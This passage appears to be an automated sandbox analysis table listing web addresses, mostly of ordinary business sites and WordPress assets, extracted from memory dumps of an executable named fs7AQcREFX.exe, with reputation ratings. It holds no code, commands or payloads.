http://www.dgmna.com/z	fs7AQcREFX.exe, 00000000.00000003.626513177.00000000061B8000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.504000964.00000000061B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.medius.si/	fs7AQcREFX.exe, 00000000.00000002.731356544.00000000061D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stnic.co.uk/g17	fs7AQcREFX.exe, 00000000.00000003.630648067.0000000000AB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/#website	fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#webpage	fs7AQcREFX.exe, 00000000.00000003.443831689.00000000031E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/themes/hello-elementor/style.min.css?ver=2.7.1	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://inhouse.pohlfood.com/	fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/ooohboi-steroids-for-elementor/assets/css/main.css?ver=2.1.50	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abdg.com/$	fs7AQcREFX.exe, 00000000.00000003.504000964.0000000006187000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.438371636.00000000031E0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.554380208.0000000003120000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.530446894.0000000006D90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.alantron.com/turkce/destek/search.to	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617381014.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hummer.hu/oK	fs7AQcREFX.exe, 00000000.00000003.617704098.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.562867147.0000000000AF6000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.625818550.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.568147378.0000000000AF6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.com-sit.com/wp-content/uploads/premium-addons-elementor/pa-frontend-2947ecb72.min.css?ver	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.valselit.com/174-appartement-a-vendre-grenoble-30514	fs7AQcREFX.exe, 00000000.00000003.443831689.00000000031E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pwd.org/	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.403781144.0000000003100000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407037442.0000000003110000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://net3.necs.com/pohlfood/site/search?selectview=byclass&queryCol=&terms=pizza	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.item-pr.com/q8	fs7AQcREFX.exe, 00000000.00000003.630648067.0000000000AB0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://net3.necs.com/pohlfood/site/search?selectview=choose&queryCol=class&terms=Mediterran	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pohlfood.com/comments/feed/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/testhouse/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.com-sit.com/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.443924517.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.557525966.0000000004220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612322591.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495486174.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448518635.0000000003180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.iamdirt.com/6-b	fs7AQcREFX.exe, 00000000.00000002.731356544.00000000061B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.aevga.com/	fs7AQcREFX.exe, 00000000.00000003.407390186.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.401612520.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.399549475.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.408206344.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.525348360.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.517712783.00000000031F0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.402720609.0000000003850000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.407501333.0000000003110000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.397997118.0000000003600000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.520718818.0000000002F00000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.398199427.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.517172157.0000000000B90000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/real3d-flipbook/js/flipbook.pdfservice.min.js?ver=3.25	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495560428.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.612632326.0000000004020000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pwd.org/d	fs7AQcREFX.exe, 00000000.00000003.621337796.000000000617C000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.626959422.000000000617C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.evcpa.com/nJ	fs7AQcREFX.exe, 00000000.00000003.617704098.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.562867147.0000000000AF6000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.625818550.0000000000AF7000.00000004.00000020.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.568147378.0000000000AF6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcb-restoration/	fs7AQcREFX.exe, 00000000.00000003.620591340.0000000003630000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.622846184.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.448619967.0000000003230000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.609857809.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.569095277.0000000003830000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.493154321.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.411092041.0000000003160000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.440264697.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.616572106.0000000003530000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.436267530.0000000003220000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.619881231.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.437227453.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.531053757.0000000003180000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.501507543.0000000000B40000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.617037965.0000000003020000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.447789415.0000000003240000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.495912933.0000000003A30000.00000004.00001000.00020000.00000000.sdmp, fs7AQcREFX.exe, 00000000.00000003.499317836.0000000003610000.00000004.00001000.00020000.00000000.sdmp, 